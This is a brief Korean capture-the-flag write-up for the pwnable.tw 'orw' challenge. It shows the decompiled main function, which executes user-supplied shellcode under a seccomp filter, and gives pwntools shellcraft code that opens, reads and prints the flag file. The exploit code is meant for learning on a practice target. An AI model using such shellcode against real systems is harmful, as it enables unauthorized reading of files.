Write-ups/pwnable.tw
orw - pwnable.tw
dolphinlmg
2020. 2. 13. 16:44
Prob Info
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
orw_seccomp로 샌드박싱을 해줘서 open read write로 플래그를 읽으면 된다. 대충 폰툴을 이용해서 쉘코드를 짜면 편하다.
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1, 'esp', 100)
shellcode = asm(shellcode)